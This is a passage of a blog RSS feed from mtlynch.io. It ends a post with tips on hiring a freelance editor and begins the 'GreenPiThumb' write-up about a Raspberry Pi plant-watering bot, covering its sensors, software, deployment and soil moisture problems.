 &lt;tr>
 &lt;th>Article&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;th>Notes&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/sia-via-docker/">&amp;ldquo;Running Sia on a Synology NAS via Docker&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>$110 (2 hours @ $55/hr)&lt;/td>
 &lt;td>&lt;a href="Sia-NAS.pdf">Detailed notes&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/taskrabbit-cooking/">&amp;ldquo;Adventures in Outsourcing: Cooking with TaskRabbit&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>$110 (2 hours @ $55/hr)&lt;/td>
 &lt;td>&lt;a href="TaskRabbit.pdf">Detailed notes&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Various articles&lt;/td>
 &lt;td>$55 (1 hour @ $55/hr)&lt;/td>
 &lt;td>&lt;a href="Multi-article-notes.pdf">High-level notes&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/greenpithumb/">&amp;ldquo;GreenPiThumb: A Raspberry Pi Gardening Bot&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>$110 (2 hours @ $55/hr)&lt;/td>
 &lt;td>&lt;a href="GreenPiThumb.pdf">Detailed notes&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$385 (7 hours @ $55/hr)&lt;/strong>&lt;/td>
 &lt;td>—&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The twist is that Samantha tricked me. I didn&amp;rsquo;t anticipate how effective her feedback would be, so now I &lt;em>do&lt;/em> want to work with her on a recurring basis. I can&amp;rsquo;t afford to hire her for every article, but I do plan to check in with her regularly. My strategy remains the same. I don&amp;rsquo;t want to offload editing to Samantha, but rather learn from her feedback on each article so that I can focus on different areas to improve.&lt;/p>
&lt;h2 id="suggestions-for-working-with-editors">Suggestions for working with editors&lt;/h2>
&lt;p>If you&amp;rsquo;re a blogger and are considering hiring an editor, here are some recommendations based on my experience:&lt;/p>
&lt;h3 id="pay-for-quality">Pay for quality&lt;/h3>
&lt;p>If you post to a freelancing site like Upwork, you will invariably receive cheap offers from people willing to take any job they can get, regardless of their ability to deliver results. Do not be tempted to save money by hiring a cut-rate editor.&lt;/p>
&lt;p>If you go to the trouble of hiring someone to critique your writing, hire an expert who can give you excellent guidance. If you needed surgery, would you hire the cheapest person to approach you with a scalpel? An investment in expert feedback on your writing will pay dividends for a long time, so invest well.&lt;/p>
&lt;h3 id="screen-carefully">Screen carefully&lt;/h3>
&lt;p>Freelancer sites show you ratings and reviews of potential freelancers from their past clients. Read through these reviews to see if the editor has the qualities that are important to you. Prefer applicants who have completed at least 10 previous jobs with a success rate of 90% or higher. Samantha, for example, has a success rate of 99% and 39 completed jobs, which are excellent indicators of her quality. &lt;em>[&lt;strong>Editor&amp;rsquo;s note&lt;/strong>: This is an astute observation.]&lt;/em>&lt;/p>
&lt;p>Require applicants to submit a cover letter, and scrutinize it carefully. For an editor, it&amp;rsquo;s essentially a sample of their work. Did they send you a form letter that they blast out to everyone? Or did they customize it to address the areas where you need help? The grammar in their cover letter should be impeccable, and the wording should be clear and easy to understand.&lt;/p>
&lt;h3 id="look-for-subject-matter-familiarity">Look for subject matter familiarity&lt;/h3>
&lt;p>Find an editor who can understand and appreciate your writing. They don&amp;rsquo;t have to have the same level of expertise that you do, but they should have familiarity with the subject on par with your potential audience — someone who might read your blog even if you weren&amp;rsquo;t paying them.&lt;/p>
&lt;p>If you have a blog about pop music, you don&amp;rsquo;t need to hire a professional music critic, but you should look for someone with enough appreciation for music to understand your terminology and references. Similarly, if you write a mommy blog, don&amp;rsquo;t require potential editors to hold a graduate degree in child development, but they should at least be familiar with the concept of children.&lt;/p>
&lt;h3 id="catch-the-easy-stuff-yourself">Catch the easy stuff yourself&lt;/h3>
&lt;p>You&amp;rsquo;re paying a premium for an expert&amp;rsquo;s time, so there&amp;rsquo;s no sense in squandering that time on simple mistakes you could identify yourself. Before sending your writing to an editor, run it through a tool like &lt;a href="https://grammarly.com">Grammarly&lt;/a> or Microsoft Word to catch spelling and grammatical errors.&lt;/p>
&lt;p>Part of your proofreading process should also be reading your posts aloud. My editor encouraged me to do this, and I was amazed at how effectively it catches careless errors and unnatural wording.&lt;/p>
&lt;h3 id="dont-take-it-personally">Don&amp;rsquo;t take it personally&lt;/h3>
&lt;p>Your editor is critiquing your writing, not you. If your writing is very personal, the two can feel one and the same, but you&amp;rsquo;ll get the most out of your editor&amp;rsquo;s notes if you can separate yourself from your writing and approach their feedback without defensiveness or ego.&lt;/p>
&lt;h3 id="you-dont-have-to-accept-every-note">You don&amp;rsquo;t have to accept every note&lt;/h3>
&lt;p>Notwithstanding the previous suggestion, remember that it&amp;rsquo;s ultimately your writing, and you have to decide what feedback to accept and decline.&lt;/p>
&lt;p>&lt;em>[&lt;strong>Editor&amp;rsquo;s note&lt;/strong>: Pay no attention to this suggestion.]&lt;/em>&lt;/p>
&lt;p>There have been several instances where my editor suggested a change that I recognize is clearer or more eloquent, but it doesn&amp;rsquo;t sound like my voice. In those cases, I try to rewrite the passage to move closer to the suggestion. But occasionally, I&amp;rsquo;ll wrestle with the note and reach the conclusion that what I wrote is what I want.&lt;/p>
&lt;h3 id="make-a-checklist">Make a checklist&lt;/h3>
&lt;p>Every time I complete the first draft of a new blog post, I check my editor&amp;rsquo;s notes on the last article she reviewed. For mistakes I find myself repeating, I keep a separate checklist that I run through at the end of my writing process. My checklist has reminders like, &amp;ldquo;make sure you&amp;rsquo;re not overusing the word &amp;lsquo;really&amp;rsquo;,&amp;rdquo; but you&amp;rsquo;ll find patterns to add to your own list. Really.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Special thanks to my editor, &lt;a href="https://www.samanthamasonfreelancer.com">Samantha Mason&lt;/a>, for volunteering her time to edit this piece.&lt;/em>&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Samantha is not taking on new editing clients at this time.
&lt;/div>
</content:encoded></item><item><title>GreenPiThumb: A Raspberry Pi Gardening Bot</title><link>https://mtlynch.io/greenpithumb/</link><pubDate>Tue, 27 Jun 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/greenpithumb/</guid><description>&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>This is the story of GreenPiThumb: a gardening bot that automatically waters houseplants, but also sometimes kills them.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2385px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 2385px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_ab1b439f2ec00ddb.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_d2dbca03d741be0c.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_4ba7dba11e3a6f37.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_da77b15dedfa0f2.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg 2385w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg" alt="GreenPiThumb full system" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The story begins about a year ago, when I was struck by a sudden desire to own a houseplant. A plant would look nice, supply me with much needed oxygen, and imply to guests that I&amp;rsquo;m a responsible grown-up, capable of caring for a living thing.&lt;/p></description><content:encoded>&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>This is the story of GreenPiThumb: a gardening bot that automatically waters houseplants, but also sometimes kills them.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2385px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 2385px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_ab1b439f2ec00ddb.jpg 300w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_d2dbca03d741be0c.jpg 600w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_4ba7dba11e3a6f37.jpg 800w, https://mtlynch.io/greenpithumb/greenpithumb-side-full_hu_da77b15dedfa0f2.jpg 1200w, https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg 2385w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-side-full.jpg" alt="GreenPiThumb full system" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The story begins about a year ago, when I was struck by a sudden desire to own a houseplant. A plant would look nice, supply me with much needed oxygen, and imply to guests that I&amp;rsquo;m a responsible grown-up, capable of caring for a living thing.&lt;/p>
&lt;p>But I&amp;rsquo;m a programmer, not a gardener. If I had a plant, I&amp;rsquo;d have to water it and check the plant&amp;rsquo;s health a few times per week. I decided it would be much easier if I just spent several hundred hours building a robot to do that for me. If the plant lives to be 80 years old, I come out slightly ahead.&lt;/p>
&lt;h2 id="why-greenpithumb">Why GreenPiThumb?&lt;/h2>
&lt;p>Like most software projects I take on, my main motivation with GreenPiThumb was to learn new technologies. I wrote my previous app, &lt;a href="https://mtlynch.io/prosperbot/">ProsperBot&lt;/a>, to teach myself Go, Ansible, and Redis. I saw GreenPiThumb as a chance to learn front end development, specifically JavaScript and AngularJS.&lt;/p>
&lt;p>My friend &lt;a href="https://github.com/JeetShetty">Jeet&lt;/a> had just started learning to program, so I asked if he&amp;rsquo;d be interested in collaborating with me on GreenPiThumb. It seemed like a good opportunity for him to learn about healthy software engineering practices like code reviews, unit tests, and continuous integration. Jeet was up for it, so we set off on what we &lt;em>thought&lt;/em> would be a two- or three-month endeavor.&lt;/p>
&lt;h2 id="powered-by-raspberry-pi">Powered by Raspberry Pi&lt;/h2>
&lt;p>The &lt;a href="https://vimeo.com/90103691">Raspberry Pi&lt;/a> is a small, inexpensive computer built for hobbyists. People have used Raspberry Pis to &lt;a href="http://michaelteeuw.nl/post/84026273526/and-there-it-is-the-end-result-of-the-magic">create futuristic smart mirrors&lt;/a>, &lt;a href="https://retropie.org.uk/">run old video games&lt;/a>, and &lt;a href="https://www.youtube.com/watch?v=2WLEur3M8Yk">drive electric skateboards&lt;/a>.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2048px">



 &lt;a href="https://mtlynch.io/greenpithumb/pi-in-hand.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 2048px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/pi-in-hand_hu_357989d4cb7cf50d.jpg 300w, https://mtlynch.io/greenpithumb/pi-in-hand_hu_a9239cc853f73087.jpg 600w, https://mtlynch.io/greenpithumb/pi-in-hand_hu_618db743e6506990.jpg 800w, https://mtlynch.io/greenpithumb/pi-in-hand_hu_e0780c1627d4bfb2.jpg 1200w, https://mtlynch.io/greenpithumb/pi-in-hand.jpg 2048w'
 src="https://mtlynch.io/greenpithumb/pi-in-hand.jpg" alt="Raspberry Pi" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve been playing with Raspberry Pis for the past few years, but I&amp;rsquo;m a software guy, so I had never used them for anything more than cheap toy servers. For most of the enthusiast community, the Raspberry Pi&amp;rsquo;s main draw is how well it integrates with consumer electronics.&lt;/p>
&lt;p>With the number of sensors and integration guides available for it, the Raspberry Pi was a natural fit for GreenPiThumb. I figured using the Raspberry Pi would also challenge me to learn its hardware capabilities and finally figure out what those &amp;ldquo;GPIO pins&amp;rdquo; actually do.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 1006px">



 &lt;a href="https://mtlynch.io/greenpithumb/gpio-wha.png">
 &lt;img
 
 sizes="(min-width: 768px) 1006px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/gpio-wha_hu_b56d0997ac29ec77.png 300w, https://mtlynch.io/greenpithumb/gpio-wha_hu_582e228b4a5a9409.png 600w, https://mtlynch.io/greenpithumb/gpio-wha_hu_4c08634c199bf208.png 800w, https://mtlynch.io/greenpithumb/gpio-wha.png 1006w'
 src="https://mtlynch.io/greenpithumb/gpio-wha.png" alt="MOSFET melting breadboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Raspberry Pi and its mysterious GPIO pins&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="why-make-another-raspberry-pi-gardening-bot">Why make another Raspberry Pi gardening bot?&lt;/h2>
&lt;p>We were certainly not the first people to think of building a Raspberry Pi-powered gardening bot. Two cool projects that preceded us were &lt;a href="http://www.esologic.com/?p=1112">PiPlanter&lt;/a> and &lt;a href="http://dicksonchow.com/plant-friends/">Plant Friends&lt;/a>, but there have been a handful of others as well.&lt;/p>
&lt;p>We decided to build our own for two reasons: it&amp;rsquo;s fun to make your own stuff, and we wanted our bot&amp;rsquo;s software to be a first-class concern.&lt;/p>
&lt;p>The majority of Raspberry Pi projects are created by enthusiasts who are great with electronics but don&amp;rsquo;t have professional software experience. We wanted to be the opposite – great software, but the hardware barely works and sometimes gets so hot that it melts our breadboard.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 2048px">



 &lt;a href="https://mtlynch.io/greenpithumb/melty-breadboard.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 2048px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/melty-breadboard_hu_d0e873f4a9055f51.jpg 300w, https://mtlynch.io/greenpithumb/melty-breadboard_hu_ee305c0988c1eda8.jpg 600w, https://mtlynch.io/greenpithumb/melty-breadboard_hu_2339276b456d3b7a.jpg 800w, https://mtlynch.io/greenpithumb/melty-breadboard_hu_bd4b3a0931878825.jpg 1200w, https://mtlynch.io/greenpithumb/melty-breadboard.jpg 2048w'
 src="https://mtlynch.io/greenpithumb/melty-breadboard.jpg" alt="GPIO pins" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>An early prototype that likely had a “catching on fire” problem&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The code for GreenPiThumb is open-source and features:&lt;/p>
&lt;ul>
&lt;li>Full unit tests&lt;/li>
&lt;li>Code coverage tracking&lt;/li>
&lt;li>Continuous integration&lt;/li>
&lt;li>Debug logging&lt;/li>
&lt;li>Thorough documentation – both READMEs and code comments&lt;/li>
&lt;li>Consistent adherence to &lt;a href="https://google.github.io/styleguide/pyguide.html">a style guide&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/JeetShetty/ansible-role-greenpithumb">An installer tool&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="hardware-architecture">Hardware architecture&lt;/h2>
&lt;figure>&lt;img src="https://raw.githubusercontent.com/JeetShetty/GreenPiThumb/master/doc/greenpithumb_wiring.png"
 alt="GreenPiThumb wiring diagram">&lt;figcaption>
 &lt;p>GreenPiThumb wiring diagram (&lt;a href="https://github.com/JeetShetty/GreenPiThumb/tree/master/doc">downloadable file&lt;/a>)&lt;/p>
 &lt;/figcaption>
&lt;/figure>

&lt;p>The Raspberry Pi reads &lt;em>digital&lt;/em> signals, so it&amp;rsquo;s not capable of reading analog sensors directly. We use the &lt;a href="https://smile.amazon.com/dp/B00EU1PY06/">MCP3008 analog-to-digital converter&lt;/a> to produce digital readings from the analog &lt;a href="https://www.sparkfun.com/products/13322">soil moisture sensor&lt;/a> and light sensor.&lt;/p>
&lt;p>The &lt;a href="https://smile.amazon.com/HiLetgo-Temperature-Humidity-Arduino-Raspberry/dp/B01DKC2GQ0/">DHT11 sensor&lt;/a> detects temperature and humidity in the air. It produces a digital signal, so it can plug right into the Raspberry Pi.&lt;/p>
&lt;p>Lastly, we have a &lt;a href="https://smile.amazon.com/gp/product/B00PRM9UZ2/">12V water pump&lt;/a>, but the Raspberry Pi can only output 5V, so we connect a &lt;a href="https://smile.amazon.com/gp/product/B000MGG6SC/">12V power adapter&lt;/a> to the pump in series with a &lt;a href="https://smile.amazon.com/FAIRCHILD-SEMICONDUCTOR-FQP30N06L-CHANNEL-MOSFET/dp/B00MMY2E7E/">MOSFET&lt;/a>. The Raspberry Pi uses the MOSFET as a digital switch, breaking or completing the circuit when it wants to turn its pump off or on.&lt;/p>
&lt;h2 id="software-architecture">Software architecture&lt;/h2>
&lt;figure>&lt;img src="https://docs.google.com/drawings/d/1vY9YU9fFoyrKUh8pRe6gN0bLD1JFDq5ngkTh7yOQrOA/export/png"
 alt="GreenPiThumb software architecture">&lt;figcaption>
 &lt;p>GreenPiThumb software architecture&lt;/p>
 &lt;/figcaption>
&lt;/figure>

&lt;h3 id="greenpithumb-back-end">GreenPiThumb back end&lt;/h3>
&lt;p>The &lt;a href="https://github.com/JeetShetty/Greenpithumb">back end&lt;/a> does the heavy lifting of GreenPiThumb. It&amp;rsquo;s a Python app responsible for:&lt;/p>
&lt;ul>
&lt;li>Managing the physical sensors (soil moisture, temperature, etc.)&lt;/li>
&lt;li>Turning the water pump on and off&lt;/li>
&lt;li>Recording events and sensor readings in the database&lt;/li>
&lt;/ul>
&lt;h3 id="greenpithumb-web-api">GreenPiThumb web API&lt;/h3>
&lt;p>The &lt;a href="https://github.com/JeetShetty/GreenPiThumb_Frontend">web API&lt;/a> is an HTTP interface that serves information about GreenPiThumb&amp;rsquo;s state and history. It&amp;rsquo;s a thin wrapper over GreenPiThumb&amp;rsquo;s database. It translates everything into JSON, which makes it easier for web applications to understand.&lt;/p>
&lt;h3 id="greenpithumb-web-dashboard">GreenPiThumb web dashboard&lt;/h3>
&lt;p>The &lt;a href="https://github.com/JeetShetty/GreenPiThumb_Frontend_static">web dashboard&lt;/a> shows GreenPiThumb&amp;rsquo;s current state and creates graphs of sensor readings over time.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1103px">



 &lt;a href="https://mtlynch.io/greenpithumb/greenpithumb-dashboard.png">
 &lt;img
 
 sizes="(min-width: 768px) 1103px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/greenpithumb-dashboard_hu_33dd1c85727fe082.png 300w, https://mtlynch.io/greenpithumb/greenpithumb-dashboard_hu_8796f0455759bf3e.png 600w, https://mtlynch.io/greenpithumb/greenpithumb-dashboard_hu_b107d2b6d893f997.png 800w, https://mtlynch.io/greenpithumb/greenpithumb-dashboard.png 1103w'
 src="https://mtlynch.io/greenpithumb/greenpithumb-dashboard.png" alt="GPIO pins" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Our Raspberry Pi isn&amp;rsquo;t quite up to the challenge of acting as an internet-facing web server, but here&amp;rsquo;s a static mirror of the GreenPiThumb dashboard that&amp;rsquo;s identical to our local one:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://greenpithumb.mtlynch.io">http://greenpithumb.mtlynch.io&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="deployment">Deployment&lt;/h3>
&lt;p>To deploy GreenPiThumb to our Raspberry Pi device, we use &lt;a href="https://www.ansible.com/how-ansible-works">Ansible&lt;/a>, an open source IT automation tool.&lt;/p>
&lt;p>We created a custom &lt;a href="https://github.com/JeetShetty/ansible-role-greenpithumb">GreenPiThumb Ansible configuration&lt;/a> (or &amp;ldquo;role&amp;rdquo; in Ansible terms) for deploying all of the software GreenPiThumb needs. The Ansible role downloads and installs GreenPiThumb&amp;rsquo;s back end and front end code, as well as the third-party software components that GreenPiThumb depends on.&lt;/p>
&lt;p>With just &lt;a href="https://github.com/JeetShetty/GreenPiThumb#local-self-provision">a few commands&lt;/a>, you can use this tool on a fresh Raspberry Pi device and have all of GreenPiThumb&amp;rsquo;s software up and running within minutes.&lt;/p>
&lt;h2 id="bumps-along-the-way">Bumps along the way&lt;/h2>
&lt;p>GreenPiThumb took over a year to complete, much longer than expected due to roadblocks that halted progress for weeks at a time. I&amp;rsquo;ve described some of our more interesting obstacles below.&lt;/p>
&lt;h3 id="water-distribution">Water distribution&lt;/h3>
&lt;p>The other Raspberry Pi gardening projects don&amp;rsquo;t talk about how they spread water over the soil, which is a shame because we still haven&amp;rsquo;t figured it out.&lt;/p>
&lt;p>The first time we pumped water into our planter, the tube directed a small stream into one spot, completely soaking that area but leaving the rest of the soil dry. We considered coiling the rubber tubing around the inner wall of the planter and poking holes in the tube, but we weren&amp;rsquo;t sure if this would get enough water to the center part of the soil. We tried using a showerhead, but couldn&amp;rsquo;t figure out how to fasten it water-tight to the tubing and still control the stream&amp;rsquo;s direction.&lt;/p>
&lt;p>We ultimately settled on &amp;ldquo;spray and pray.&amp;rdquo; It was a solution borne out of looking around my apartment and randomly grabbing things that might solve our problem. We cut a finger off of &lt;a href="https://smile.amazon.com/gp/product/B0002XJZME/">a small kitchen glove&lt;/a>, fastened it to the water tube with a tightly doubled rubber band, and made lots of holes in the glove using a sewing needle and nail clippers.&lt;/p>
&lt;p>We turned on the pump, and the severed finger of the glove immediately shot off the tubing, spraying water all over my apartment&amp;rsquo;s wall. We reattached everything, but this time, stuck a safety pin just in front of the rubber bands so that they couldn&amp;rsquo;t slide forward.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 4320px">



 &lt;a href="https://mtlynch.io/greenpithumb/sprayer-front.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 4320px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/sprayer-front_hu_82f71a21ef2e67ac.jpg 300w, https://mtlynch.io/greenpithumb/sprayer-front_hu_22f69c1c8a109cc4.jpg 600w, https://mtlynch.io/greenpithumb/sprayer-front_hu_bfb8bc1d864f5325.jpg 800w, https://mtlynch.io/greenpithumb/sprayer-front_hu_65b4dc1e9b03ab8.jpg 1200w, https://mtlynch.io/greenpithumb/sprayer-front.jpg 4320w'
 src="https://mtlynch.io/greenpithumb/sprayer-front.jpg" alt="Water sprayer (front)" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 4320px">



 &lt;a href="https://mtlynch.io/greenpithumb/sprayer-side.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 4320px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/sprayer-side_hu_dcc1805b9f3d2f33.jpg 300w, https://mtlynch.io/greenpithumb/sprayer-side_hu_dfce638c22bf79b6.jpg 600w, https://mtlynch.io/greenpithumb/sprayer-side_hu_e1133f5df6c0abff.jpg 800w, https://mtlynch.io/greenpithumb/sprayer-side_hu_320372e2131ff5ca.jpg 1200w, https://mtlynch.io/greenpithumb/sprayer-side.jpg 4320w'
 src="https://mtlynch.io/greenpithumb/sprayer-side.jpg" alt="Water sprayer (side)" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Kitchen glove turned water distributor&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>It&amp;rsquo;s not the most &lt;em>elegant&lt;/em> solution, but it mostly works.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/bI6UaJjYZ00?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h3 id="the-gardening-part-wasnt-supposed-to-be-hard">The gardening part wasn&amp;rsquo;t supposed to be hard&lt;/h3>
&lt;p>Electronics were supposed to be the big challenge of GreenPiThumb. Gardening didn&amp;rsquo;t seem that hard. Green beans, in particular, are frequently described as a hardy plant that requires only basic gardening skills to grow.&lt;/p>
&lt;p>It turned out that we didn&amp;rsquo;t have basic gardening skills. GreenPiThumb is intended to automate the human part of tending an indoor garden, but to automate anything, a human has to know what &amp;ldquo;correct&amp;rdquo; looks like. It was hard to decide whether GreenPiThumb was watering too much or too little because we ourselves had no idea how much water to use. That&amp;rsquo;s how we ended up accidentally making this horticultural snuff film:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/TYAdw6BwYyQ?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h3 id="how-hard-can-it-be-to-measure-moisture">How hard can it be to measure moisture?&lt;/h3>
&lt;p>Our most vexing problem was dirt.&lt;/p>
&lt;p>When we set out to build GreenPiThumb, we expected that soil moisture would increase on days we watered the plant and decrease on days we didn’t. GreenPiThumb’s job would simply be to maintain the correct moisture level by adding water whenever the reading dropped below a certain threshold.&lt;/p>
&lt;p>Below, we&amp;rsquo;ve used expensive and complex modeling software to visualize the soil moisture pattern we expected for GreenPiThumb:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 895px">



 &lt;a href="https://mtlynch.io/greenpithumb/imagined-graph.png">
 &lt;img
 
 sizes="(min-width: 768px) 895px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/imagined-graph_hu_290e81476b6e8f88.png 300w, https://mtlynch.io/greenpithumb/imagined-graph_hu_b525025f6d1164ce.png 600w, https://mtlynch.io/greenpithumb/imagined-graph_hu_def41d04ca07b287.png 800w, https://mtlynch.io/greenpithumb/imagined-graph.png 895w'
 src="https://mtlynch.io/greenpithumb/imagined-graph.png" alt="Soil moisture pattern" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Soil moisture pattern, imagined&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h4 id="bad-readings">Bad readings&lt;/h4>
&lt;p>Soil refused to cooperate with us. In our initial build, the soil moisture reading oscillated from 95% to 100%, then slowly converged to ~99.5%. We took out the soil sensor and tested it against different media: air, water, a wet paper towel, our hands, totally dry soil. All of these things seemed to get sensible readings, but soil with any kind of moisture made the sensor shoot up to nearly 100%.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 903px">



 &lt;a href="https://mtlynch.io/greenpithumb/v1-soil-moisture.png">
 &lt;img
 
 sizes="(min-width: 768px) 903px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/v1-soil-moisture_hu_eee60be055b63eaa.png 300w, https://mtlynch.io/greenpithumb/v1-soil-moisture_hu_c224b3a588d355c2.png 600w, https://mtlynch.io/greenpithumb/v1-soil-moisture_hu_6aaeaa3dcba29547.png 800w, https://mtlynch.io/greenpithumb/v1-soil-moisture.png 903w'
 src="https://mtlynch.io/greenpithumb/v1-soil-moisture.png" alt="Soil moisture level" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Soil moisture readings, original moisture sensor&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We originally used Dickson Chow&amp;rsquo;s &lt;a href="https://web.archive.org/web/20241203105410/https://dickson.bigcartel.com/product/soil-probe-for-plant-friends">Plant Friends soil probe&lt;/a>, but we swapped it out for the &lt;a href="https://www.sparkfun.com/products/13322">SparkFun soil sensor&lt;/a>. The new sensor got a reading of 82% in damp soil, and it would jump to 85% immediately after the soil was watered. Within a few hours, however, it would sink back down to 82% and remain there for days. The sensor seemed unable to distinguish between soil that was watered three hours ago and soil that hadn&amp;rsquo;t been watered for five days.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 907px">



 &lt;a href="https://mtlynch.io/greenpithumb/soil-moisture-sparkfun.png">
 &lt;img
 
 sizes="(min-width: 768px) 907px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/soil-moisture-sparkfun_hu_d1f9ee334e70492.png 300w, https://mtlynch.io/greenpithumb/soil-moisture-sparkfun_hu_9b054eab8cbc4c31.png 600w, https://mtlynch.io/greenpithumb/soil-moisture-sparkfun_hu_a5d5081b7543aba4.png 800w, https://mtlynch.io/greenpithumb/soil-moisture-sparkfun.png 907w'
 src="https://mtlynch.io/greenpithumb/soil-moisture-sparkfun.png" alt="Soil moisture level" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Soil moisture readings, SparkFun moisture sensor&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h4 id="i-think-my-dirt-is-broken">I think my dirt is broken&lt;/h4>













 








 
 
 







&lt;div class="img align-right" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/greenpithumb/miracle-gro.png">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/greenpithumb/miracle-gro_hu_8aeaf33232aa4319.png 300w, https://mtlynch.io/greenpithumb/miracle-gro.png 300w'
 src="https://mtlynch.io/greenpithumb/miracle-gro.png" alt="Miracle-Gro soil" loading="lazy"/>
 &lt;/a>



&lt;/div>


